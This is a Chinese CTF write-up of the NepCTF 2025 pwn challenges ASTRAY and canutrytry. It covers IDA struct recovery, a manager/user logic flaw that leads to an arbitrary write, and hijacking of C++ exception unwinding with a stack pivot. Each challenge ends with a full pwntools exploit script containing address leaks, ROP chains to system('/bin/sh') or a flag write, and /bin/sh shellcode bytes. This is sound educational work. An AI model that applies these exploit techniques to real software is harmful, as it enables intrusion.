nepctf2025复现-ASTARY&canutrytry
(结构体还原&逻辑漏洞)ASTRAY
纯考察代码审计能力的一个题,要准确的摸清楚并还原出结构体,然后读懂代码功能才能看出漏洞所在
因为这个结构体从刚拿到题的状态开始还原确实相当麻烦,所以这里就尽量分析,但可能也很难写清楚

ida打开题目后,首先调用了一个 init 函数得到了一个 v4,然后在后续分支中,Manager的分支使用了这个 v4
然后就是询问要以什么身份访问日志信息,分为 manager 和 user
user_operation函数
manager 分支相对复杂,所以先从 user 分支看起,尝试大致搞清楚这个程序整体是什么意图
来到 user_operation 函数
首先询问了要进行的操作,有 USER_read 和 USER_write,然后会询问要操作的信息块的 索引,之后会进行check
先进 check 函数
check 函数

可以看到 index 可以是 0 ~ 19,操作可以是 图中的五个,在这里也可以看出程序的功能大致就是 manager&user 两个身份的 读&写 功能,但是还多出一个 MANAGER_visit 功能,这个功能也是这个题的关键点
![]()
初步检查后首先是取了 manage_physic 这个数组的一个指针,这里可以判断出这个数组的单个元素肯定是 两个八字节大小,可以暂时将v5改为 unknowUnit ,方便后面识别
然后又是一个分支,先看 user 的分支
user 分支里只有对 USER_write 操作的检查,检查了 unkonwUnit 的 第2个8字节 二进制上有没有0001,由此可以看出 unknowUnit 应该也有某种结构,且 第2个8字节 应该是某种标识,只有拥有 0001 位时才可以进行 USER_write
然后来到 manager 分支

这边则是检查了两个操作——MANAGER_write 和 MANAGER_visit
且MANAGER_write的检查中和 USER_write 类似的,检查了有没有 0010,所以猜测这个 unknowUnit[1] 应该是权限标识,0001 代表user权限,0010代表manager权限
后面的 visit 的检查则是看 qword_41A8 这个全局变量是否为空,这个全局变量看到这里时是一点都看不懂它是什么,但我们可以知道 如果 qword_41A8为空时,MANAGER_visit 就无法合法进行
从 check 函数出来后继续看,现在我们知道了: manage_physic 似乎是一个由若干个(由索引检查猜测是20个) 2*8 大小的小结构体组成的数组,且这个小结构体的第二个8字节应该是一个权限标识

检查后首先是一个赋值工作,而且目标还就是刚才看到的 qword_41A8,且后面的多个操作都是它,所以它很重要,但这里还是着重分析赋值来源的这俩
manage_physic 刚才分析过了是一个数组,但这里忽然多出了一个 dword_4068,而且这种索引方式看起来也像是数组或者结构体(另外这里要看清楚,ida自动的把它识别成了 DWORD,但其实按8字节看的话也是 qword_4068[2*v1],和 manage_physic 非常像)
看看地址会发现
其实4068就在manage_physic的后面
所以可以猜测,这里是ida错误识别,将这个数组分成了两个变量,我们不妨把它搓一起试试
IDA操作
添加一个小结构体:
然后先到 bss段上 manage_physic 的位置把它转换成 40个的数组

这下就清晰多了
然后把 manage_physic 转换一下,给它起名叫 mlist

这下更清晰了
现在再来看这个 qword_41A8的话,就会发现它很像是在对 mlist 的元素进行某些拷贝,且后面的实际操作也都是拿它进行
![]()
image-20251203171352566
所以我们猜测它是功能具体实现时使用的 临时缓冲区,因为这个分析来源于 user_operation,我们先叫它 usrTmp,然后再给它定义一个结构体
因为后面这里还有对它第三个8字节的使用,所以我们暂时给它写三个字段,前两个字段和 刚才的unknowUnit 一样,第三个也随便给一个名字


permission_confirm函数
接着看代码,后面是一个 permission_confirm 函数,跟进去看看,注意传参,第一个是 usrTmp,第二个是代表要进行的操作的字符串

进来发现是一个 根据要进行操作 给usrTmp的unknown2字段设置内容的逻辑
结合后面 根据这个字段选择实际操作的分支 的逻辑,我们断定它应该就是 代表操作 的标识码,所以给这个字段改名 actCode

同时,根据这里的 read 和 write 也能看出,unknown1应该是这个日志系统的实际的数据缓冲区,所以顺便把它改成 contPtr
以及第二个8字节,前面暂时起名为 flags1 的字段,其实到这里也能大概确定 它就是权限标识,用来区分 user 和 manager 的,所以可以改成 gid

现在再看整个 user_operation 函数,就会发现逻辑已经十分清晰了

整体逻辑就是 检查要进行的操作和选择的索引是否有足够的权限进行操作 --> 将实际操作的相关信息(缓冲区指针、操作码、权限信息)转移到 usrTmp 中 --> 根据 usrTmp的情况进行实际操作
init函数
现在我们已经对一部分结构体有了初步的认识,所以可以先回init函数看看

根据已经逆向出的结构体,不难看出 前半部分应该是 对 mlist 的一些初始化操作:先申请了一个内存块作为总的缓冲区,然后再将内部的地址分配给 mlist 进行管理
其中有一个惹眼的点是对 mlist[0] 的处理,它得到了第一个堆指针,然后给其 gid 字段设置了一个 0x10 (0b10000),也就是说正常操作时 manager 和 user 都没有权限对其进行读写,所以也要多关注它内部有什么
然后就是对 1~19 块进行了一些初始化,1~9块给予 0010 权限,即只有 manager 可操作,10~19块给予 0011 权限,即manager和user都可以操作

后半部分就比较复杂了,多出了一个没还原出结构体的 contPtr(23行那里,ida给起的变量名),然后还多了一个 onlyuser(做完后发现这个东西基本就是纯误导)
先看 usrTmp (我自己复现这个题时也是边看这里边看user_oper...函数还原出来的),这里是对 usrTmp 进行了一些初始化操作,先给它申请了一块缓冲区,果然是 0x18 大小,然后将三个字段都清空
然后就是这个 contPtr,首先可以看到,这里是把 mlist[0] 的 contPtr赋值给它,然后实际上是对 mlist[0]进行了一些操作,ida识别是一会对mlist[0]操作,一会对 contPtr操作
操作如下:[0]为1,[1]为一个 0x18 的缓冲区,[2]为 onlyuser 的地址,然后时 [1]的内容中,三个8字节也都清空
这里不难看出, *contPtr也就是这里申请的 0x18 的块和它本身应该都是结构体,我们也给它们写一个临时的结构体

注意这里要给双重指针

manager_operation 函数
进来后我们先把a1之类的已经得出结构体的变量转换一下
前面检查的部分在user函数已经分析过了,这里从25行开始
刚上来的三行,我们就会看到熟悉的东西
发现和刚才 user 函数里对 usrTmp 的操作非常相似,稍微往后看一下

发现也和 user 函数那边一样,读写操作都是对 a1 -> unkownTmp 操作的,所以我们可以确定,这个 a1->unknowTmp 应该是 manager版 的usrTmp,所以先去改一下字段名,这个 unknowTmp 结构体也没必要用了,直接用之前 usrTmp 的定义就可以了


这下 manager_operation 也很清晰了,继续看28行往后
在 a1->managerTmp 上设置操作码后就进行了一些列判断分支,首先不难看到,MANAGER_visit 确实很特殊,它这里又套了一层分支

又询问了一次操作选项,然后进一步的对 managerTmp->actCode 进行设置
(这个提示我也是根本没看懂,感觉大概意思就是 "以manager身份对user的日志进行操作"?)
这里发现还有一个checkvisit,内容很少,这里直接给出结论然后略过:检查当前 usrTmp->actCode 的值,不能是 4 (也就是在这之前不能进行过 MANAGER_read/USER_read)
然后就到了真正的实际操作分支(也是整个题最关键的一段)

这里其实 4 和 2对应的 MANAGER_read 和 MANAGER_write 都还算好理解,和 user 模式类似的取 tmp 块上的 contPtr 指针进行读写
但奇怪的是 两个 visit 的分支

image-20251203181622923
它是对 a1 -> onlyusrAddr 进行读写,结合前面 init()函数 的操作可以知道,这里实际上就是 *(&onlyusrAddr+8),那我们来看看这是谁
是 usrTmp (解引用到contPtr指针)
所以总结的说,这个visit操作实际上就是在使用 managerTmp 进行各种前期工作的情况下,对 usrTmp 的contPtr进行读写
关于 user 和 manager 两个模式的操作混用
这个题的根本漏洞其实是两个用户模式的操作可以混用,在 user_operation 函数中可以使用 MANAGER_xxx 系列,在manager_operation 也可以用 USER_xxx 系列
这里分析下混用出现的一些情况,为后面攻击方法的分析做铺垫
首先是 read 操作,实际上 USER_read 和 MANAGER_read 这两者是混用的,user_operation(MANAGER_read) 和 manager_operation(USER_read) 这两个组合的功能几乎一样
因为真正决定实际操作的 actCode 字段,对于这两个操作的设置是一样的


然后是 write 操作
这个操作就受到了严格的权限控制
manager_operation函数中没有 actCode == 1 的分支,user_operation反之亦然,且在check里也有检查
![]()
然后就是最关键的 visit 操作
此时再读一遍user_operation就会发现,user这边也是完全可以使用 MANAGER_visit 的,而且还会产生某些奇妙的影响
尤其是这里
user_operation(MANAGER_visit)实际上就是只执行了这三句
但致命的是此时这里 i 可以为0,也就是可以把 manager的那个a1指针或者说 mlist[0] 放到 usrTmp->contPtr 上
先贴下封装后的交互用的函数
MANAGER = 1 USER = 1000 READ0 = "MANAGER_read" WRITE0 = "MANAGER_write" VISIT0 = "MANAGER_visit" READ = "USER_read" WRITE = "USER_write" def manager(opt, logId, perm=MANAGER): sla("user)\n", str(perm)) sa("sit)\n", opt) sla("sit\n", str(logId)) def user(opt, logId, perm=USER): sla("user)\n", str(perm)) sa("ite)\n", opt) sla("sit\n", str(logId))
泄露 manager_operation 的 a1 的内容
这个题要泄露很简单,因为可以直接 MANAGER/USER_read 去读取 mlist[0] 里的 堆地址、bss段地址
user和manager 都一样,它们对于read操作都没有任何检查
user(READ, 0) rv(8) heap_base = uu64(rv(8)) - 0x22d0 elf_base = uu64(rv(8)) - 0x41a0 lg("heap_base") lg("elf_base")
篡改 manager_operation 的 a1
对于攻击方法来说,最关键的问题是这里
![]()
这里的写入地址前面也提到过,在 a1 没被修改时,实际上就是 usrTmp,也就是说在利用 user(USER_read, 0) 等能选中 mlist[0] 的操作把 a1 指针挂到 usrTmp->contPtr 后,再用 manager(MANAGER_visit, 0) 就能修改 a1 的内容了
比如前面用 USER_read 后,实际上 usrTmp->contPtr 就已经是 a1 了,但这时还有一个问题:此时 usrTmp->actCode 是4,程序对这种情况做了防御
checkvisit中![]()
所以需要找一个这样的机会——能改变 usrTmp->actCode,但能保持 usrTmp->contPtr 依然是 mlist[0]
这个机会就是在 user_operation 中用 "MANAGER_visit"
前面也提到过,这个组合实际上就是只执行了三句代码

如果index指定为0,第一句会把 mlist[0].contPtr 赋值上去,第二句将gid字段赋值为0x10,第三句将 actCode 改为8,这样就可以顺利的走 manager(MANAGER_visit, 0) 去修改 a1 的内容了
user(VISIT0, 0)
将 a1 (mlist[0]->contPtr) 指针放到 usrTmp -> contPtr 上
![]()
调用 permission_confirm

执行后的 usrTmp

由于 actCode 没有匹配 4 或 1,直接返回

然后就可以修改 a1 了
manager(VISIT0, 0) sla("_logs\n", "2") sd("iii")
顺利绕过

对 a1写入


利用对 a1 的控制进行 getshell
能够控制 a1 的内容之后就要考虑怎么用了,首先不难想到可以利用这次机会进行任意地址写
前面也提到了,MANAGER_visit 的写入分支用的指针是取的 *(a1 -> onlyuserAddr) + 8 这个地址后,再解引用一层才写入的
也就是说如果修改了 a1 -> onlyuserAddr ,这个地方的写入地址就完全由我们控制了,因为没有其他逻辑会改变 a1 -> onlyuserAddr
比如如果想把写入地址定到 qword_4060
manager(VISIT0, 0) sla("_logs\n", "2") sd(p64(1)+p64(heap_base+0x22d0)+p64(heap_base+0x2b0)+p64(heap_base+0x2c0)+p64(elf_base+0x4060)) manager(VISIT0, 0) sla("_logs\n", "2") # sd(fakeList) sd(p64(0xdeadbeef)*4)
这里的指针关系

顺利写入 mlist 数组


最后就是任意地址写后如何getshell了
我推荐是先改造一下这个 mlist 数组(也就是一开始的manage_physic),可以将 contPtr字段 改成方便进行 任意地址读写 的指针,然后把 gid 字段全改成3,这样后续只需要用 USER_write/read 就可以完成任何操作了
fakeList = b"" fakeHeapaddr = heap_base + 0x2a0 for i in range(10): if i == 1: fakeList += p64(elf_base+0x4090)+p64(3)#指到list[3] elif i == 2: fakeList += p64(elf_base+0x4020)+p64(3) else: fakeList += p64(fakeHeapaddr) + p64(3) fakeHeapaddr+=0x100

这里我是把 mlist[1] 改成了 mlist[3]的地址,这样后续还需要 任意地址读写 时只需要对[1]进行 USER_wirte 就可以改变要任意地址读写的目标地址了;然后把 mlist[2] 改成了 IO_stdout ,用来泄露libc地址,然后进一步的泄露 environ 里的栈地址
然后泄露libc
user(READ, 2) libc_base = uu64(rv(8)) - 0x21b780 lg("libc_base")

然后重复操作,把 environ 地址放到 mlist[3]里,再 输出mlist[3]
user(WRITE, 1) sd(p64(libc_base+0x222200)) user(READ, 3) ret_addr = uu64(rv(8)) - 0x150

然后也是重复操作,把rop链写到 user_operation函数 的返回地址上就可以了
完整EXP:
''' pwn_attack_ink ''' import sys from pwn import * # from LibcSearcher import * # from ctypes import * context(arch='amd64', os='linux', log_level='debug') # context(arch='i386' , os='linux', log_level='debug') binary = './astray' libc = './libc.so.6' # host, port = ":".split(":") print(('\033[31;40mremote\033[0m: (r)\n' '\033[32;40mprocess\033[0m: (p)')) bpt = [ "*$rebase(0x1b67)",#main-manage "*$rebase(0x1b84)",#main-manage "*$rebase(0x175d)",#manage-check "*$rebase(0x1a10)",#usr-check "*$rebase(0x177f)",#manage-25 "*$rebase(0x14c9)",#check-15 "*$rebase(0x14f8)",#check-18 "*$rebase(0x1520)",#check-21 "*$rebase(0x1a32)",#user-19 "*$rebase(0x1af8)",#user-ret ] if sys.argv[1] == 'r': r = remote(host, int(port)) elif sys.argv[1] == 'p': r = process(binary) elif sys.argv[1] == 'pg': r = process(binary) gdb.attach(r, gdbscript=f""" b {bpt[4]} """ ) # r = gdb.debug(binary) # libc = cdll.LoadLibrary(libc) libc = ELF(libc) # elf = ELF(binary) # srand = libc.srand(libc.time(0)) #设置种子 default = 1 sd = lambda data : r.send(data) sa = lambda delim, data : r.sendafter(delim, data) sl = lambda data : r.sendline(data) sla = lambda delim, data : r.sendlineafter(delim, data) rv = lambda numb=4096 : r.recv(numb) rl = lambda time=default : r.recvline(timeout=time) ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) uuntil = lambda data, count=-6 : uu64(ru(data)[count:]) # padding = lambda length : b'ink' * (length // 3) + b'I' * (length % 3) padding = lambda length, filler=0 : b'ink' * (length // 3) + b'I' * (length % 3) if filler == 0 else filler * length lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") prl = lambda var_name : print(len(var_name)) debug = lambda command='' : gdb.attach(r,command) it = lambda : r.interactive() short_sc= lambda bits=64 : b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' if bits==64 else b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' MANAGER = 1 USER = 1000 READ0 = "MANAGER_read" WRITE0 = "MANAGER_write" VISIT0 = "MANAGER_visit" READ = "USER_read" WRITE = "USER_write" def manager(opt, logId, perm=MANAGER): sla("user)\n", str(perm)) sa("sit)\n", opt) sla("sit\n", str(logId)) def user(opt, logId, perm=USER): sla("user)\n", str(perm)) sa("ite)\n", opt) sla("sit\n", str(logId)) user(READ, 0) rv(8) heap_base = uu64(rv(8)) - 0x22d0 elf_base = uu64(rv(8)) - 0x41a0 lg("heap_base") lg("elf_base") user(VISIT0, 0) manager(VISIT0, 0) sla("_logs\n", "2") sd(p64(1)+p64(heap_base+0x22d0)+p64(heap_base+0x2b0)+p64(heap_base+0x2c0)+p64(elf_base+0x4060)) # sd("iii") fakeList = b"" fakeHeapaddr = heap_base + 0x2a0 for i in range(10): if i == 1: fakeList += p64(elf_base+0x4090)+p64(3)#指到list[3] elif i == 2: fakeList += p64(elf_base+0x4020)+p64(3) else: fakeList += p64(fakeHeapaddr) + p64(3) fakeHeapaddr+=0x100 manager(VISIT0, 0) sla("_logs\n", "2") sd(fakeList) user(READ, 2) libc_base = uu64(rv(8)) - 0x21b780 lg("libc_base") user(WRITE, 1) sd(p64(libc_base+0x222200)) user(READ, 3) ret_addr = uu64(rv(8)) - 0x150 user(WRITE, 1) sd(p64(ret_addr)) user(WRITE, 3) poPrdi = libc_base + 0x000000000002a3e5 poPrsi = libc_base + 0x000000000002be51 poPradbx = libc_base + 0x00000000000904a8 payload = p64(poPrdi)+p64(libc_base+next(libc.search(b'/bin/sh'))) payload += p64(poPrsi)+p64(0) payload += p64(poPradbx)+p64(0)*3 payload += p64(libc_base+0x0000000000029139) + p64(libc_base+libc.sym['system']) sd(payload) it()
(cpp异常处理利用)canutrytry
考察了一个没见过的知识点——c++异常处理
本来尝试直接去吃透cpp的异常处理的机制再来复现这道题,发现确实很难,所以还是先以pwn的角度简单理解下,然后直接复现这个题目了
参考文章:
[原创]NepCTF 2025 Pwn赛题canutrytry解析:利用cpp异常处理与栈迁移实现输出攻破-Pwn-看雪论坛-安全社区|非营利性质技术交流社区
(99+ 封私信) 分享C++ PWN 出题经历——深入研究异常处理机制 - 知乎
cpp异常处理简单理解
在做这个题之前,我一直以为高级语言的异常处理机制都是依靠编译器来完成的,但在做这个题的过程中发现其实还是通过在elf文件中添加复杂的跳转机制来完成的
首先是要知道,throw和catch是怎么配合到一起的
在编译后的elf中,throw关键字的位置实际上就是调用了 __cxa_throw 函数,比如这个题的leave

实际上就相当于
if (sizes[i] > 0x10) { throw "stack overflow"; }
然后是 try ... catch 块,实际上是一段特殊的函数代码,如:


ida中会为try和catch的块添加标识,catch块比较重要,它实际上就是一段这个函数内部正常情况无法执行到的一部分代码,它只会由throw函数中的 _Unwind_RaiseException 跳转触发
然后就是throw调用后回溯寻找对应catch块的机制了
这点由于暂时没有阅读源代码,所以得出的结论不一定是正确的,暂时就只把猜测的结论贴在这
应该是在 Unwind_RaiseException 函数的操作中,会顺着当前(触发异常的)函数的返回地址进行回溯,寻找路径的函数中是否存在catch块,有(即存在对应catch捕获)则会尝试跳转,没有(即不存在对应catch)则是返回到 __cxa_throw 中通过 terminate 函数处理异常,并中断程序

但这个回溯过程是以栈为参考的,如果栈上的返回地址、rbp等关键内容被篡改,异常处理函数的定位就会出现偏差,甚至被劫持
题目分析
这个题的代码本身还是很简单的
main函数中是两个选项的菜单

但实际上是因为ida无法识别异常处理而受到了折叠,实际上还存在两段 catch 代码块
对应putmenu处的try

对应 visit 和 leave 处的try

手动用伪代码简单还原一下main函数大概是这样的:
init(); while ( 1 ) { try { putMenu(); std::istream::operator>>(&std::cin, &opt); switch opt { case 1: visit(); case 2: leave(); } } catch(err1){//对应putMenu中的错误 sub_4016EC(); sub_401652(); return;//存在canary检查 } catch(err2){//对应visit/leave中的错误 std::cout << "you catch the error " << err2 << std::endl; std::cout << "here is a gift for you!" << std::endl; printf("setbufaddr:%p\n", setbuf_ptr); printf("stackaddr:%p\n", &op); break; } }
然后先看看 catch1 的两个函数

第一个是在 0x405460上给了一次写入0x300字节的机会

第二个则是读入了一段0x28的字符串,并将其中 \n 结束符替换为 \0

紧接着是一个带有栈溢出处理的输入机会
然后就来到了正常流程中的两个选项函数
visit() 中是三个选项的菜单,整体上是在管理一个2个空位的指针列表,指针和size分别管理——1.设置某个index的size;2.从index=0开始申请一个chunk;3.设置某个index的堆块的内容
其中选项1中存在throw异常处理

除此之外这部分内容就没什么好说的了,看起来的话可能没太有办法用堆的打法
leave() 中是一个内容的复制,会将指定堆块的内容复制到栈上的缓冲区(复制长度是size数组中的)
![]()
而且也存在有栈溢出的检查,以及throw

但这里的size由于前面 visit() 中设置size时是没有任何限制的,所以这个地方的栈溢出相当于是无限长度,可以直接溢出到多层上层函数的栈帧,这也就为利用异常处理提供了条件
泄露栈地址、libc地址
泄露很简单,可以故意触发 visit() 的异常处理,使用出题人留下的后门


劫持异常处理
根据前面的分析,在 _Unwind_RaiseException 函数中会一层一层的沿着调用链的栈帧往上扒,直到找到存在对应catch块的返回地址,并跳转到这个catch块
而在这个leave中如果是让它按原来的路径,回溯到的会是泄露地址用的那个catch块,没有更多的作用,所以应该尝试让它回溯到别的catch块,也就很自然的想到了那个对应 putmenu() 的catch块
因为 _Unwind_RaiseException 中对catch块的寻找是某种遍历式的,所以篡改返回地址时不需要太精准,只要在 ida 中看到的 try块 内部即可,或者说更直观的方式就是直接写 putmenu()函数 的返回地址

也就是这个位置,可以理解为我们要让异常处理将putmenu的调用位置才是此时的上层函数
直接在memcpy时进行栈溢出,覆盖leave函数的返回地址


修改为 putmenu 的返回地址
这样在 _Unwind_RaiseException 中寻找catch块的函数时,三次回溯后,rdx就会指向这个返回地址

![]()
再经过一些处理就会跳转了


在这个位置时会将rax放进rbp偏移后的一个地址内,所以需要给rbp放一个合法地址,这里我直接放了一个 0x405460,影响不大
payload = cyclic(0x20)+p64(0x405460)+p64(putmenu_ret)
利用 putmenu 的 catch 尝试rop
因为后面的输入机会非常多,还有一个主要的写入0x300的布置rop链的机会,所以后面的流程我也是边试边打的,文章写得也是按这个思路写了
顺利进入 sub_4016ec 后:

会在 0x405460 上写入最长0x300长度的内容,且没有任何throw,结合后面的多次输入和函数嵌套,不难想到很大可能是要打栈迁移的,所以这里应该是要写rop链的,但是先不急,先用cyclic瞎填点东西进去,方便定位rop链开始的位置
sa("rop now!\n", cyclic(0x100))
继续往后走
![]()
会catch块里的进入第二个函数

也是一次对bss段的写入,长度为0x28
然后是 close(1) 关闭了标准输出,然后再次调用函数

也是输入,不过这次是对栈了,且可以溢出到rbp
但这个函数是存在 throw 的,输入超过8个字节时就会throw,对应的是这个catch块

不难看出其实实质上就是执行了下面红框里的部分,算是为我们提供了触发栈迁移的机会
这样看下来,会发现其实第二次输入是没什么用的,关键在于用第一次输入布置rop链,第三次输入篡改rbp进行栈迁移
因为第一次输入的写入地址是 0x405460,我们的rop链从头开始写的话就是从 0x405460 开始,所以第三次输入的rbp就篡改为 0x405458 即可
sa("rop now!\n", cyclic(0x100)) sa("flag: ", cyc(0x28)) sd(cyclic(0x10)+p64(0x405458))
看看栈迁移的效果

没问题
最后搓一条rop链即可,前面也看到过,标准输出被关闭了,但是可以用标准错误输出
题目的 init() 函数里也读入过flag,直接输出那里面的flag就可以了

完整EXP
''' pwn_attack_ink ''' import sys from pwn import * # from LibcSearcher import * # from ctypes import * context(arch='amd64', os='linux', log_level='debug') # context(arch='i386' , os='linux', log_level='debug') binary = './canutrytry' libc = './libc.so.6' # host, port = ":".split(":") print(('\033[31;40mremote\033[0m: (r)\n' '\033[32;40mprocess\033[0m: (p)')) bpt = [ "*0x401ed4",#menu "*0x401952",#1menu "*0x401aad",#visit-throw "*0x401e23",#leave-memcpy "*0x401e6a",#leave-throw "*0x401733",#ropfunc-read ] catchs = [ "*0x401F19", "*0x401F7B", "*0x4016C5" ] if sys.argv[1] == 'r': r = remote(host, int(port)) elif sys.argv[1] == 'p': r = process(binary) elif sys.argv[1] == 'pg': r = process(binary) gdb.attach(r, gdbscript=f""" b {bpt[3]} b {catchs[0]} """) # r = gdb.debug(binary) # libc = cdll.LoadLibrary(libc) libc = ELF(libc) elf = ELF(binary) # srand = libc.srand(libc.time(0)) #设置种子 default = 1 sd = lambda data : r.send(data) sa = lambda delim, data : r.sendafter(delim, data) sl = lambda data : r.sendline(data) sla = lambda delim, data : r.sendlineafter(delim, data) rv = lambda numb=4096 : r.recv(numb) rl = lambda time=default : r.recvline(timeout=time) ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) uuntil = lambda data, count=-6 : uu64(ru(data)[count:]) # padding = lambda length : b'ink' * (length // 3) + b'I' * (length % 3) padding = lambda length, filler=0 : b'ink' * (length // 3) + b'I' * (length % 3) if filler == 0 else filler * length cyc = lambda length : cyclic(length) # cyclicpad = lambda length, filler=None: (bytes([i % 256 for i in range(length)])) if filler is None else filler * length lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") prl = lambda var_name : print(len(var_name)) debug = lambda command='' : gdb.attach(r,command) it = lambda : r.interactive() short_sc= lambda bits=64 : b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' if bits==64 else b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' def talloc(): sla(" >>", str(1)) sla(" >>", "1") def setsize(size): sla(" >>", str(1)) sla(" >>", "2") sla("size:", str(size)) def setcont(index, content): sla(" >>", str(1)) sla(" >>", "3") sla("index:", str(index)) sa("content:", content) def overflow(index): sla(" >>", str(2)) sla("index: ", str(index)) # setsize(0x500) # setsize(0x500) # talloc() # setcont(0, padding(0x20)+b'\x01') # overflow(0) putmenu_ret = 0x401ED9 setsize(0x30) setsize(-1) talloc() talloc() ru("bufaddr:0x") libc_base = int(rv(12), 16) - 0x88060 ru("stackaddr:0x") stack_base = int(rv(12), 16) lg("libc_base") lg("stack_base") Prdi = libc_base+0x2a3e5 Prsi = libc_base+0x2be51 Prdxr12 = libc_base+0x11f497 payload = cyclic(0x20)+p64(0x405460)+p64(putmenu_ret) setcont(0, payload) overflow(0) payload = p64(Prdi) + p64(2) + p64(Prsi) + p64(0x4053C0)+p64(Prdxr12)+p64(0x20)*2+p64(libc_base+libc.sym['write']) sa("rop now!\n", payload) sa("flag: ", cyc(0x28)) sd(cyclic(0x10)+p64(0x405458)) it()

浙公网安备 33010602011771号